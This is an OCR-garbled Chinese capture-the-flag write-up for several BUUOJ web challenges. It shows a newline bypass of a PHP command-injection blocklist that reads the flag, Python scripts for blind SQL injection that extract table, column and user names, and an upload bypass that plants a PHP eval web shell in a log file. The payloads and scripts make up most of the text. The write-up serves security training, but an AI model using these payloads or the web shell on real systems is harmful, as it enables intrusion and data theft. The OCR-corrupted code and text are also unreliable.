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Web Adminstration Interface

Enter command as JSON: | |

Al LAE WAR 7R 1 2 H] JSONE s Aemd

Jstik T



http://baijiahao.baidu.com/s?id=1641906235824053291&wfr=spider&for=pc

Web Adminstration Interface

Attempting to run command:
index.php

Enter command as JSON: |

HI—Nindex.php 3
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<?php
putenv('PATH=/home/rceservice/jail");

if (isset($ REQUEST['cmd'])) {
$json = $ REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';

} elseif (preg match('/~.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|

disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local]|logout|popd]|prin
tf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unali
as|unset|until|wait|while|[\x00-\Xx1FA-Z0-9!#-\/;-@\[- |~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !'== NULL) {
system($cmd);
} else {
echo 'Invalid input';
by

echo '<br/><br/>";
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MRS5S VR T 845 putenv('PATH=/home/rceservice/jail’);

WITE T 2 R FIs TR R 2 IR RIS ) — 3k i) S e IX S H s R

RN HBIHE:

?cmd={%0A"cmd" :%20"1s%20/home/rceservice"%0A}
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- C @ A%F= | bff88123-14a6-462c-a519-3ae2781dSecc.node3.buuoj.cn/?cmd

Web Adminstration Interface

Attempting to run command:
flag jail

Enter command as JSON: |
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?cmd={%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}
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<div class="clear"> </div>
<div class="avtar"><img src="image.php?id=2" width="200" height="200"/></div>
<form method="post" action="user.php">
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User-agent: *
Disallow: *.php.bak
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Not Found

The requested URL /user.php.bak was not found on this server.

Apache/2.4.7 (Ubuntu) Server at 44c9cc3b-aa02-4f64-bdab-9e2ccad4b58c.nodel.buuoj.cn Port 80

I N # Flimage.php.bak A4

"config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$ GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\"'",""'"),"",%$id);
$path=str_replace(array("\\0","%00","\\"'",""'"),"",$path);

$result=mysqli_query($con,"select * from images where id='{$id}' or path="{$path}'"
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
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echo $id. '<br>';
$id = addslashes($id);

echo $id. '<br>';
$id=str_replace(array("\\0","%00","\\"'",""'"),"",%$id);
echo $id;

?>



https://www.php.net/manual/zh/function.isset.php
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select * from images where id='\' or path='{$path}’
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?id=\\@&path=or 1=if(length(database())>1,1,-1)%23
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if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ),

©,1))=1,1,-1)%23

AL H Python3 B 1E 4,



kimport requests

"http://44c9cc3b-aab2-4f64-bdab-9e2ccaddb58c.node3.buuoj.cn/image.php?id=\\0&path=or 1="
table name = ''

for i in range(1, 50):
for ¢ in range(127, 0, -1):
payload = 'if(ascii(substr((select group_concat(table name) from information_schema.tables where table_s
chema=database() ),%d,1))=%d,1,-1)%%23" % (i, c)
r = requests.get(url+payload)

if "JFIF" in r.text:
table_name += chr(c)
print(table name)

break
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images,user
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users -> 0Ox7573657273

T3&E 3R AL 4 1) Payload:

if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273

),0,1))=1,1,-1)%23
{5 FHPython3 il A S F -



import requests

"http://44c9cc3b-aal2-4f64-bdab-9e2ccaddb58c.node3.buuoj.cn/image.php?id=\\0&path=or 1="
column_name =

for i in range(1, 50):
for ¢ in range(127, 0, -1):
payload = 'if(ascii(substr((select group_concat(column_name) from information_schema.columns where table
name=0x7573657273 ),%d,1))=%d,1,-1)%%23" % (i, c)
r = requests.get(url+payload)

if "JFIF" in r.text:
column_name += chr(c)
print(table name)

break

username, passwo

username, passwor
usernang,Rasswosd

53%)4% . username. password
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select group concat(username) from users

Python3 il 4 :

import requests

for i in range(1, 50):
for ¢ in range(127, 0, -1):
payload = 'if(ascii(substr((select group_concat(username) from users),%d,1))=%d,1,-1)%%23" % (i, c)
r = requests.get(url+payload)

if "JFIF" in r.text:
username += chr(c)
print(username)
break
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Hello, admin!
Filename: | M8t | RIS

| Submit |

Hello, admin!
Filename: | i&F 3% |1.txt
| Submit |

NG, A3 EALTIRE, Sete N IEH ).
FAR)E, AR

| logged the file name you uploaded to
logs/upload.5bb9dfd7bff7729972381d3f45d6f07a.log.php. LOL

PR S AR RAE H G, Sl SRS EA R AR S

K<?php @eval($_POST[ 'hack']); ?>
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/ Request to http://44c9cc3b-aa02-4f64-bdab-9e2ccad44b58c.node3.buuoj.cn:80 [111.73.46.229]

|

Forward ] [ Drop | | Intercept is on | Action Comment this item

I Raw | Params | Headers ] Hex
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0

0ST /upload.php HTTE/1.1

ost: 44c9ccib-aal2-4f64-bdab-9%e2ccaddb58c.node3. . buncj.cn

ontent-Length: 282

ache-Control: max-age=(

pgrade-Insecure-Requests: 1

rigin: http://44c%cc3b-aal2-4féd4-bdab-9eZccad44b58c.nodel.buuoj.cn

ontent-Type: multipart/form-data; boundary=----WebKitFormBoundarytAKrWB3hGxJd29PT

ser-Agent: Mozilla/5.0 (Macintosh; Intel Mac 05 X 11_0_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

ccept: text/html,application/xhtml+xml,application/xml;g=0.9,image/avif,image/webp,image/apng,*/*;9=0.8,application/signed-exchange;v=b3;q=0.9
eferer: http://ddc9cc3b-aal2-4f6d4-bdab-%9e2ccaddb58c.node3.bunoj.cnfuser.php

11 Accept-Encoding: gzip, deflate
12 Accept-Language: zh-CN,zh;g=0.9
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ookie: UM_distinctid=1763b3112bc8ac-0d205£9bflcb9d-63112c72-1£a400-1763b3112bdBab; username=QE5FDx4%3D
onnection: close

————— WebKitFormBoundarytAKrWB3IhGxJd29PT
ontent-Disposition: form-data; name="file"; filename="1.txt"|
ontent-Type: text/plain

----- WebKitFormBoundarytAKrWB3hGxJd29PT
ontent-Disposition: form-data; name="submit"

ubmit
----- WebKitFormBoundarytAKrWB3hGxJd29PT-~

Content-Disposition: form-data; name="file"; filename="1.txt"

& Content-Disposition &4 filenameI{fE N: <?php @eval($_POST['hack']); ?>

Response

_[ Raw T Headers T Hex T HTML T Render ]

=

HTTP /1 5120080 K

Server: openresty

Date: Wed, 09 Dec 2020 07:30:44 GMT
Content-Type: text/html
Content-Length: 86

Connection: close

Vary: Accept-Encoding

X-Powered-By: PHP/5.5.9-1lubuntu4.29

owooo-daaU e W

You cant upload php file.<script>setTimeout('location.href="user.php"',
3000);</script>

(EESEIRANECS

Response

J Raw T Headers T Hex T HTML T Render ]

=

1 [ETEE/TIR0ONOR

2 Server: openresty

3 Date: Wed, 09 Dec 2020 07:30:44 GMT

4 Content-Type: text/html

5 Content-Length: 86

6 Connection: close

7 Vary: Accept-Encoding

8 X-Powered-By: PHP/5.5.9-1lubuntu4.29

9

0 You cant upload php file.<script>setTimeout('location.href="user.php"',

3000);</script>
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vE: R, 5 Zishort_open_tag=on.
MG bR — R A D <?= @eval($_POSTlhack']); 7>, f& A\15E[H] 2

Response

[ Raw | Headers | Hex | HTML | Render |

HTTP/1.1 200 OK

Server: openresty

Date: Wed, 09 Dec 2020 07:34:28 GMT
Content-Type: text/html
Content-Length: 157

Connection: close

Vary: Accept-Encoding

X-Powered-By: PHP/5.5.9-1lubuntu4.29

O WD 00 =] O LN s L B =t

[

I logged the file name you uploaded to
logs/upload.5bb9dfd7bff7729972381d3£f45d6f07a.log.php. LOL<
script>setTimeout(’'location.href="user.php”’' , 3000);</2cript
- |

C2gy 1 logSCF#gAe, o i (RIS RL -
B R o
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URLitHE * http://175bc058-b031-4e2a-928¢-ef08f571e3f8.node3.buuoj.cn/logs/uplo:

ERER hack
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®) default (F4#%)
) random (Fi3%)
) base64
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dockeranv

o R s R e

HAEE —ER—A AT A%
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| bin
P O dev 2020-12-09 07:58:53 340 b 0755
B dev O et 2020-12-09 07:58:53 21b 0755
M etc O home 2019-09-01 08:57:40 19b 0755
M home 0D b 2015-01-28 16:28:45 45b 0755
M b O libea 2015-01-28 16:28:38 34b 0755
I lib64 O media 2015-01-28 16:28:17 6b 0755
B8 media O mnt 2014-04-10 22:12:14 6b 0755
= mnt
O opt 2015-01-28 16:28:17 6b 0755
: :mmc O proc 2020-12-09 07:58:53 0b 0555
M root O root 2015-02-19 19:52:28 49b 0700
B run O mn 2020-12-09 07:58:55 75b 0755
B sbin (9 sbin 2014-10-01 20:41:22 44 b 0755
. s O sv 2015-01-28 16:28:17 6b 0755
. sys 0O sys 2020-10-23 01:33:36 0b 0555
i tmp O tmp 2020-12-09 08:04:18 6b 1777
i O usr 2015-01-28 18:36:59 30b 0755
O ver 2015-02-17 21:14:27 39b 0755
[ .dockerenv 2020-12-09 07:58:53 0b 0755
[ flag 2020-12-09 07:58:55 43b 0777
7E/H 3R EP AT 2lflag
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